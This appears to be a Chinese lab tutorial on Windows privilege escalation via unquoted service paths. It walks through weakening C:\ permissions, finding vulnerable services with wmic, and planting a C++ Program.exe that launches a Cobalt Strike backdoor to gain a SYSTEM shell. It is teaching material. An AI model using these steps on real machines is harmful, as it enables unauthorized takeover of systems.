当前位置: 首页 > news >正文

做公众号时图片的网站/网站怎么做

做公众号时图片的网站,网站怎么做,做网站服务器 用mac pro 怎么样,网站建设树状图关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客 0x01:Trusted Service Paths 提权原理 Windows 的服务通常都是以 System 权限运行的,所以系统在解析服务的可执行文件路径中的空格的时候也会以 System 权限进行解析&a…

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Trusted Service Paths 提权原理

Windows 的服务通常都是以 System 权限运行的,所以系统在解析服务的可执行文件路径中的空格的时候也会以 System 权限进行解析,如果我们能够利用这一特性,就有机会提升权限。

如果在注册表中存在没有被引号包裹的服务路径,且该服务路径中存在空格,比如下面这样的服务路径,就很可能造成攻击者的提权:

 C:\Program Files\Service Folder\testService.exe

针对上面这种服务路径,由于空格的截断以及 Windows 自身的系统特性,导致其实际解析流程如下:

 C:\Program.exeC:\Program Files\Service.exeC:\Program Files\Service Folder\testService.exe

系统以空格作为分割符,首先找 C:\Program.exe 尝试运行,如果不存在该程序,则去启动 C:\Program Files\Service.exe 去尝试运行,若依旧不存在该程序,则再尝试去执行 C:\Program Files\Service Folder\testService.exe。注意了,此时都是以 SYSTEM 权限进行执行的。

所以我们只要在相应的目录下制作一个恶意的程序,让系统重启时以 SYSTEM 权限执行即可。所以,使用 Trusted Service Paths 进行提权的条件如下:

  1. 服务中存在没有被引号包裹的路径,且该路径中包含空格。

  2. 当前用户具有到对应目录下写文件的权限。

  3. 服务被系统高权限用户启动。

0x02:Trusted Service Paths 提权环境配置

复现环境

  • 靶机 Windows 7:IP 192.168.0.124

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 Cobalt Strike 服务端

  • 攻击机 Windows 11:IP 192.168.0.1,安装了 Cobalt Strike 客户端,还配备了 C++ 环境

0x0201:创建不安全的服务

首先以 Administrator 系统最高管理员的身份登录 Windows 7(该用户需要手动启动,可以前参考前面的 操作系统权限介绍 中的内容),在 C:\Program Files 文件夹下创建一个 Service Folder 文件夹,假设这个文件夹就是管理员用来存放自己配置的服务的:

然后在其中手动创建一个 testService.exe 文件(这个文件啥内容都没有),假设这个就是管理员配置的系统服务程序:

然后调出 CMD 命令行,使用下面的命令,将这个程序添加进系统服务配置中,并将启动项方式设置为 Auto,以确保系统重启时会自动运行该程序:

 sc create "testService" binpath= "C:\Program Files\Service Folder\testService.exe" start= auto​# "testService" => 你注册的服务的名称# binpath => 你注册服务的程序路径# start => 注册服务的启动方式,auto 为开机自启

0x0202:查询系统服务启动方式和权限

1. 通过 CMD 命令行查询

在 CMD 命令行窗口中输入如下命令,查询 testService 启动方式和执行权限:

 sc qc testService

2. 通过 Windows 服务功能查看

按住 Win + R 打开 “运行” 对话框,往里头填入 “services.msc” 命令即可调用 Windows 服务功能:

然后在该功能中,我们可以很轻松的就定位到我们刚刚创建的 testService 服务:

如上,testService 服务的可执行文件路径没有被引号包裹,且路径中存在空格,非常符合我们漏洞复现的要求。

如果你仔细在这里面翻找服务,可以看到,大部分的服务可执行文件路径似乎都没有加引号,然后为了给读者涨涨见识,下面贴出一张路径加了引号的服务图片,像这种服务就是无法利用的:

0x0203:为用户配置对应目录写入权限

1. 查看对应目录用户权限

在前面的配置中,我们创建了一个不安全的系统服务,对应的程序路径是:

 C:\Program Files\Service Folder\testService.exe

针对该路径,为了让后续渗透方利用的舒心,我们还要给低权限用户配置一个对应路径的写权限,针对上面这个文件,我们需要配置的低权限用户具有写入权限的路径有(选一个即可):

 C:\C:\Program Files\C:\Program Files\Service Folder\ # 如果对该目录有读写修改权限,我们可以直接重写服务内容

我们先来查看一下上面这两个目录的默认配置(由于是 C 盘,所以默认权限都限制的比较严格):

 icacls "C:\\"               # 查询 C:\ 目录下的权限icacls "C:\\Program Files"  # 查询 C:\Program Files 目录下的权限icacls "C:\\Program Files\\Service Folder"

如上,可以看到,针对 C:\ 目录,Users 用户组的普通用户只有 RX 读取和执行权限,没有写入权限,所以为了后续的漏洞利用,我们还需要赋予普通用户目录写入的权限。同时,我们还注意到,该目录的完整性级别为 High Mandatory Level,证明只有管理员级别的用户可以访问该目录,我们的普通用户是无法操作此目录的,所以我们后续还需要降低目录的完整性级别。

icacls 标识对应的权限

W:写权限;R 读权限;X 执行权限;F 完全访问权限;M 修改权限。

2. 赋予用户对应目录写入权限

下面我们针对 C:\ 目录,赋予低权限用户写入权限。

2.1 赋予用户对应目录写入权限 — 命令行方式

输入下面的命令,赋予系统内置的 Users 用户组对应目录(C:\)的写入权限:

 icacls "C:\\" /grant "BUILTIN\Users":(w) # 授予用户组对应目录写权限

如上,系统内置的 Users 用户组已经成功获得了对应目录的写权限。但是其实此时 Users 用户组中的用户还是无法在 C:\ 目录下创建文件的,因为被 C:\ 的目录完整性级别限制了,所以我们还得降低 C:\ 目录的完整性级别,让 Users 用户组得以写文件到目标路径。

3. (可选)降低目录/文件完整性级别

我们上面通过 icacls 工具设置的是目录的 NTFS 权限,NTFS(New Technology File System)是 Windows 操作系统中常用的文件系统,它支持对文件和目录设置详细的权限控制。

但是我们这边讲解的 ”完整性级别“ 是独立于 NTFS 权限的一种安全机制。即使 NTFS 权限允许访问了,如果完整性级别不匹配,访问仍然会被拒绝。 所以这里,我们就需要降低C:\ 目录的完整性级别,以允许低级别用户进行操作。

3.1 目录/文件完整性级别介绍

完整性级别是 Windows 中用于控制资源访问的安全机制,通常与用户账户控制(UAC)相关。

Windows 中的完整性级别分为以下几种:

  • Low(L):最低级别,通常用于浏览器等低权限进程。

  • Medium(M):默认级别,普通用户进程运行在此级别。

  • High(H):管理员权限进程运行在此级别。

  • System(S):系统内核和核心服务运行在此级别。

Windows 完整性级别的使用场景可以分为以下几个方面:

3.1.1 降低权限:将完整性设置为 Low(L)
  • 场景:

    • 适用于需要严格限制访问权限的目录或文件。

    • 通常用于隔离低信任度的应用程序或数据(如浏览器缓存、临时文件等)。

  • 作用:

    • 只有运行在 Low(L)完整性级别的进程(如浏览器沙盒)可以访问这些资源。

    • 运行在 Medium(M)或更高完整性级别的进程(如普通用户程序)无法访问。

  • 示例:

    • 将浏览器下载目录的完整性级别设置为 Low,以防止恶意软件通过下载的文件影响系统。

icacls "C:\Downloads" /setintegritylevel L
3.1.2 恢复默认:将完整性级别设置为 Medium(M)
  • 场景:

    • 适用于普通用户目录或文件,恢复默认的访问权限。

    • 当目录或文件的完整性级别被错误地设置为 Low 或 High 时,可以使用此操作恢复默认。

  • 作用:

    • 运行运行在 Medium(M)或更高完整性级别的进程访问。

    • 这是大多数用户程序和文件的默认级别。

  • 示例:

    • 将某个目录恢复为默认的完整性级别:

icacls "C:\ExampleFolder" /setintegritylevel M
3.1.3 提高权限:将完整性级别设置为 High(H)
  • 场景:

    • 适用于需要高安全性的目录或文件。

    • 通常用于保护系统关键文件或管理员专用文件。

  • 作用:

    • 只有运行在 High(H)或 System(S)完整性级别的进程(如管理员程序)可以访问。

    • 运行在 Medium(M)或更低完整性级别的进程(如普通用户程序)无法访问。

  • 示例:

    • 将某个包含敏感数据的目录设置为 High,以限制只有管理员可以访问:

icacls "C:\SensitiveData" /setintegritylevel H
3.2 降低 C:\ 目录完整性级别

输入下面的命令,修改 C:\ 目录完整性为 Medium,以允许普通用户对该目录有操作权限:

icacls "C:\\" /setintegritylevel M

4. 提权环境检查

我们切换到 Windows 系统中的一个标准用户,笔者这里选择的是 test01 用户:

然后跑到 C:\ 下,看看我们可不可以新建文本文件,如果可以,证明你的环境就 OK 了:

0x03:Trusted Service Paths 提权漏洞复现

0x0301:拿到靶机低权限用户 Shell

既然是提权,我们肯定得先拿到靶机的一个低权限用户,此处,我们就以上面的一般用户 test01 为例,来演示如何提权到 SYSTEM。

在 Kali 上开启 CS 服务端,并在 Windows 11 辅助机上使用 CS 客户端进行连接:

我们在 CS 中创建一个监听器,监听 CS 服务端的 4444 端口。然后使用该监听器创建一个 Windows 后门程序 artifact.exe,并上传到 Windows 7 靶机中:

双击 artifact.exe 文件,获取靶机的低权限 Shell:

下面,我们就要开始使用 Trusted Service Paths 进行提权了。

0x0302:定位不安全的服务

在 CS 中输入下面的命令,定位靶机中没有配置引号,且带有空格路径的服务:

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """

如上成功发现有一个服务十分符合我们的要求,整理一下显示如下:

name        : testService
displayname : testService
pathname    : C:\Program Files\Service Folder\testService.exe
startmode   : Auto

0x0303:检查特定目录是否具有写权限

针对上面获得的那个服务,我们可以利用的提权路径有以下几条:

C:\
C:\Program Files\
C:\Program Files\Service Folder\

我们先来查看以下我们当前用户所属的组:

whoami /groups

如上,我们当前用户属于本地的 Users 用户组,具有 Medium 的完整性级别。知道了这些信息,接下里,我们来一个一个查看目录权限,看我们对其是否具有写入权限:

icacls "C:\\"

如上,C:\ 是一个可被利用的目录。

0x0304:制作服务劫持程序

在前面的信息收集中,我们发现目标靶机上存在一个可被利用的服务,其服务程序路径为:

C:\Program Files\Service Folder\testService.exe

又通过信息收集,发现了当前用户对 C:\ 具有写权限。所以接下来,我们将要在目标的 C:\ 目录下,创建一个 Program.exe 程序,利用 Windows 服务执行特性,进行提权。

这里我们采用 C++ 来制作恶意程序(因为 C 程序编译后会直接生成一个 exe 文件,采用其他编程语言的话你还得自己打包,很麻烦),下面是程序代码:

#include <stdio.h>
#include <stdlib.h>int main() {system("cmd.exe /c C:\\Users\\test01\\Desktop\\artifact.exe");return 0;
}

这个程序的逻辑很简单,运行后,会通过 CMD 执行一遍我们用 CS 制作的 Windows 反弹连接的木马文件(我们前面拿到靶机的低权限 Shell 就是用的这个文件)。

将上面的程序编译后,保存为 Program.exe,并将该 EXE 文件上传到靶机的 C:\ 下:

0x0305:等待靶机重启 & 提权成功

当我们将上面这一切都准备好后,接下来就是等待管理员重启计算机了。因为只有重启计算机了,那些开机自启的服务才会自动执行,只有服务被执行,才会触发我们刚刚创建的劫持文件。

这里,我们手动重启一下靶机(一般低权限用户是无法重启电脑的)。重启后靶机显示如下(可能是笔者制作的木马的问题,当然,更可能是木马存放路径的问题):

显示 C:\Program.exe 文件有问题,其实已经证明了 Windows 服务的解析漏洞是存在的。等待一会,即可看到 CS 上上线了目标靶机的 SYSTEM 用户,证明我们提权成功:

相关文章:

[权限提升] Windows 提权 维持 — 系统错误配置提权 - Trusted Service Paths 提权

关注这个专栏的其他相关笔记&#xff1a;[内网安全] 内网渗透 - 学习手册-CSDN博客 0x01&#xff1a;Trusted Service Paths 提权原理 Windows 的服务通常都是以 System 权限运行的&#xff0c;所以系统在解析服务的可执行文件路径中的空格的时候也会以 System 权限进行解析&a…...

8. k8s二进制集群之Kubectl部署

创建kubectl证书请求文件生成admin证书文件复制admin证书到指定目录生成kubeconfig配置文件接下来完成kubectl配置文件的角色绑定【扩展】kubectl命令补全操作继续上一篇文章《k8s二进制集群之Kube ApiServer部署》下面介绍一下k8s中的命令行管理工具kubectl。 通过kubectl可以…...

初学 Xvisor 之理解并跑通 Demo

官网&#xff1a;https://www.xhypervisor.org/ quick-start 文档&#xff1a;https://github.com/xvisor/xvisor/blob/master/docs/riscv/riscv64-qemu.txt 零、Xvisor 介绍 下面这部分是 Xvisor 官方的介绍 Xvisor 是一款开源的 Type-1 虚拟机管理程序&#xff0c;旨在提供一…...

深度内容运营与开源AI智能名片2+1链动模式S2B2C商城小程序在打造种草社区中的应用研究

摘要&#xff1a;移动互联网的迅猛发展极大地改变了消费者的购物行为和消费习惯&#xff0c;传统的购物体验已难以满足用户日益增长的个性化需求。在这种背景下&#xff0c;深度内容运营和实时互动成为提升用户购物体验、影响用户购物行为的重要手段。同时&#xff0c;开源AI智…...

RNN/LSTM/GRU 学习笔记

文章目录 RNN/LSTM/GRU一、RNN1、为何引入RNN&#xff1f;2、RNN的基本结构3、各种形式的RNN及其应用4、RNN的缺陷5、如何应对RNN的缺陷&#xff1f;6、BPTT和BP的区别 二、LSTM1、LSTM 简介2、LSTM如何缓解梯度消失与梯度爆炸&#xff1f; 三、GRU四、参考文献 RNN/LSTM/GRU …...

音频录制一般在什么情况下会选择保存为PCM?什么情况会选择保存为WAV?

在音频开发中&#xff0c;选择保存为 PCM 或 WAV 格式取决于具体的应用场景和需求。以下是两种格式的特点以及适用场景的分析&#xff1a; PCM 格式 特点&#xff1a; 原始音频数据&#xff1a; PCM 是未压缩的原始音频数据&#xff0c;没有任何文件头或元数据。数据直接以二进…...

C#常用744单词

1.visual 可见的 2.studio 工作室 3.dot 点 4.net 网 5.harp 尖端的&#xff0c;锋利的。 6.amework 骨架&#xff0c;构架&#xff0c;框架 7.beta 测试版&#xff0c;试用版 8.XML&#xff08;全称&#xff1a;eXtensible Markup Language&#xff09…...

如何理解算法的正确性?

循环不变式&#xff08;Loop Invariant&#xff09; 是算法设计和程序验证中的一个核心概念&#xff0c;用于证明循环的正确性。它是在循环的每次迭代开始和结束时均保持为真的一种条件或性质&#xff0c;帮助开发者确保循环按预期工作&#xff0c;最终达到目标状态。 循环不变…...

蓝桥杯试题:排序

一、问题描述 给定 nn 个正整数 a1,a2,…,ana1​,a2​,…,an​&#xff0c;你可以将它们任意排序。现要将这 nn 个数字连接成一排&#xff0c;即令相邻数字收尾相接&#xff0c;组成一个数。问&#xff0c;这个数最大可以是多少。 输入格式 第一行输入一个正整数 nn&#xff…...

实验十一 Servlet(二)

实验十一 Servlet(二) 【实验目的】 1&#xff0e;了解Servlet运行原理 2&#xff0e;掌握Servlet实现方式 【实验内容】 改造实验10&#xff0c;引入数据库&#xff0c;创建用户表&#xff0c;包括用户名和密码&#xff1a;客户端通过login.jsp发出登录请求&#xff0c;请求…...

第五天 初步了解ArkTS和ArkUI

初步了解ArkTS和ArkUI&#xff0c;可以从以下几个方面进行概述&#xff1a; 一、ArkTS简介 定义与关系&#xff1a; ArkTS是HarmonyOS&#xff08;鸿蒙系统&#xff09;优选的主力应用开发语言。它基于TypeScript&#xff08;TS&#xff09;进行扩展&#xff0c;兼容TS的所有特…...

java中的锁面试题

1、多线程中 synchronized 锁升级的原理是什么&#xff1f; synchronized 是JVM层面的锁&#xff0c;是 Java 关键字&#xff0c;通过 monitor 对象来完成&#xff0c;synchronized 的实现涉及到锁的升级&#xff0c;具体为无锁、偏向锁、自旋锁、重量级锁 synchronized 锁升级…...

ES6 变量解构赋值总结

1. 数组的解构赋值 1.1 基本用法 // 基本数组解构 const [a, b, c] [1, 2, 3]; console.log(a); // 1 console.log(b); // 2 console.log(c); // 3// 跳过某些值 const [x, , y] [1, 2, 3]; console.log(x); // 1 console.log(y); // 3// 解构剩余元素 const [first, ...re…...

知识蒸馏教程 Knowledge Distillation Tutorial

来自于&#xff1a;Knowledge Distillation Tutorial 将大模型蒸馏为小模型&#xff0c;可以节省计算资源&#xff0c;加快推理过程&#xff0c;更高效的运行。 使用CIFAR-10数据集 import torch import torch.nn as nn import torch.optim as optim import torchvision.tran…...

DeepSeek各版本说明与优缺点分析

DeepSeek各版本说明与优缺点分析 DeepSeek是最近人工智能领域备受瞩目的一个语言模型系列&#xff0c;其在不同版本的发布过程中&#xff0c;逐步加强了对多种任务的处理能力。本文将详细介绍DeepSeek的各版本&#xff0c;从版本的发布时间、特点、优势以及不足之处&#xff0…...

java进阶专栏的学习指南

学习指南 java类和对象java内部类和常用类javaIO流 java类和对象 类和对象 java内部类和常用类 java内部类精讲Object类包装类的认识String类、BigDecimal类初探Date类、Calendar类、SimpleDateFormat类的认识java Random类、File类、System类初识 javaIO流 java IO流【…...

kamailio-osp模块

该文档详细讲解了如何在Kamailio中配置和使用OSP模块&#xff08;Open Settlement Protocol Module&#xff09;&#xff0c;以实现基于ETSI标准的安全多边对等互联&#xff08;Secure Multi-Lateral Peering&#xff09;。以下是核心内容的总结&#xff1a; 1. 模块功能 OSP模…...

【TensorFlow】T1:实现mnist手写数字识别

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 1、设置GPU import tensorflow as tf gpus tf.config.list_physical_devices("GPU")if gpus:gpu0 gpus[0]tf.config.experimental.set_memory_g…...

Rapidjson 实战

Rapidjson 是一款 C 的 json 库. 支持处理 json 格式的文档. 其设计风格是头文件库, 包含头文件即可使用, 小巧轻便并且性能强悍. 本文结合样例来介绍 Rapidjson 一些常见的用法. 环境要求 有如何的几种方法可以将 Rapidjson 集成到您的项目中. Vcpkg安装: 使用 vcpkg instal…...

【React】受控组件和非受控组件

目录 受控组件非受控组件基于ref获取DOM元素1、在标签中使用2、在组件中使用 受控组件 表单元素的状态&#xff08;值&#xff09;由 React 组件的 state 完全控制。组件的 state 保存了表单元素的值&#xff0c;并且每次用户输入时&#xff0c;React 通过事件处理程序来更新 …...

Ollama+deepseek+Docker+Open WebUI实现与AI聊天

1、下载并安装Ollama 官方网址&#xff1a;Ollama 安装好后&#xff0c;在命令行输入&#xff0c; ollama --version 返回以下信息&#xff0c;则表明安装成功&#xff0c; 2、 下载AI大模型 这里以deepseek-r1:1.5b模型为例&#xff0c; 在命令行中&#xff0c;执行&…...

DEEPSEKK GPT等AI体的出现如何重构工厂数字化架构:从设备控制到ERP MES系统的全面优化

随着深度学习&#xff08;DeepSeek&#xff09;、GPT等先进AI技术的出现&#xff0c;工厂的数字化架构正在经历前所未有的变革。AI的强大处理能力、预测能力和自动化决策支持&#xff0c;将大幅度提升生产效率、设备管理、资源调度以及产品质量管理。本文将探讨AI体&#xff08…...

阿莱(arri)mxf文件变0字节的恢复方法

阿莱(arri)是专业级的影视产品软硬件供应商&#xff0c;很多影视作品都是使用阿莱(arri)的设备拍摄出来的。总体上来讲阿莱(arri)的文件格式有mov和mxf两种&#xff0c;这次恢复的是阿莱(arri)的mxf&#xff0c;机型是arri mini,素材保存在一个8t的硬盘上&#xff0c;使用的是e…...

初识 Node.js

在当今快速发展的互联网技术领域&#xff0c;Node.js 已经成为了一个非常流行且强大的平台。无论是构建高性能的网络应用、实时协作工具还是微服务架构&#xff0c;Node.js 都展示了其独特的优势。本文将带您走进 Node.js 的世界&#xff0c;了解它的基本概念、核心特性以及如何…...

debug-vscode调试方法

debug - vscode gdb调试指南 文章目录 debug - vscode gdb调试指南前言一、调试代码二、命令查看main反汇编查看寄存器打印某个变量打印寄存器&#xff0c;如pc打印当前函数栈信息&#xff08;当前执行位置&#xff09;打印程序栈局部变量x命令的语法如下所示&#xff1a;打印某…...

Cypher进阶(函数、索引)

文章目录 Cypher进阶Aggregationcount()函数统计函数collect()函数 unwindforeachmergeunionload csvcall 函数断言函数all()any()~~exists()~~is not nullnone()single() 标量函数coalesce()startNode()/endNode()id()length()size() 列表函数nodes()keys()range()reduce() 数…...

XML Schema 数值数据类型

XML Schema 数值数据类型 引言 XML Schema 是一种用于描述 XML 文档结构的语言。它定义了 XML 文档中数据的有效性和结构。在 XML Schema 中,数值数据类型是非常重要的一部分,它定义了 XML 文档中可以包含的数值类型。本文将详细介绍 XML Schema 中常用的数值数据类型,以及…...

Window获取界面空闲时间

‌GetLastInputInfo‌是一种Windows API函数&#xff0c;用于获取上次输入操作的时间。 该函数通过LASTINPUTINFO结构返回最后一次输入事件的时间。 原型如下 BOOL WINAPI GetLastInputInfo(PLASTINPUTINFO plii);那么可以利用GetLastInputInfo来得到界面没有操作的时长 uint…...

Java进阶(vue基础)

目录 1.vue简单入门 ?1.1.创建一个vue程序 1.2.使用Component模板(组件&#xff09; 1.3.引入AXOIS ?1.4.vue的Methods&#xff08;方法&#xff09; 和?compoted&#xff08;计算&#xff09; 1.5.插槽slot 1.6.创建自定义事件? 2.Vue脚手架安装? 3.Element-UI的…...

Mac电脑上好用的压缩软件

在Mac电脑上&#xff0c;有许多优秀的压缩软件可供选择&#xff0c;这些软件不仅支持多种压缩格式&#xff0c;还提供了便捷的操作体验和强大的功能。以下是几款被广泛推荐的压缩软件&#xff1a; BetterZip 功能特点&#xff1a;BetterZip 是一款功能强大的压缩和解压缩工具&a…...